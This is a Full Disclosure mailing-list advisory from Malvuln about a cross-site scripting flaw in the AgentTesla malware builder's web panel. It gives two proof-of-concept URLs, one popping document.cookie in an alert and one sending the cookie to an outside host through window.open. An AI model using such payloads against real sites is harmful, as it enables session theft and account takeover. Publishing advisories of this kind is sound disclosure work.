full-disclosure - [FD] AgentTesla Builder Web Panel / Cross Site Scripting (XSS)

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Message-ID: <CAAHK0WSGnOcSD+o_fm95CLLjzTKtYwDWi=OK57tv8y9BynjMOQ@mail.gmail.com>
Date: Wed, 19 Jan 2022 08:20:14 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] AgentTesla Builder Web Panel / Cross Site Scripting (XSS)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7ef
f7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: AgentTesla Builder Web Panel
Vulnerability: Cross Site Scripting (XSS)
Description: AgentTeslaBuilder WebUI uses "ionCube" to encode and protect
its PHP code. AgentTesla panel users who visit a third-party attacker
website or click an infected link, can trigger arbitrary client side JS
code execution in the security context of the currently logged on user.
This can result in PHPSESSID token, data theft or GEO location disclosure
of the user accessing the AgentTesla panel.
Type: WebUI
MD5: db9629508fda139f71f625d764c7eff7  (Agent Tesla.exe)
MD5: 978509c2a3d051b43e53bba1436b7076  (login.php)
Vuln ID: MVID-2022-0454
Disclosure: 01/16/2022

Exploit/PoC:
1) http://AGENT-TESLA-IP/AgentTeslaBuilder/?page=get-log&id=&title=%22/%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

2) http://AGENT-TESLA-IP/AgentTeslaBuilder/?page=get-log&id=&title=
"/%3E%3Cscript%3Cwindow.open("https://www.malvuln.com/stealtokens="%
2bdocument.cookie)%3C/script%3E

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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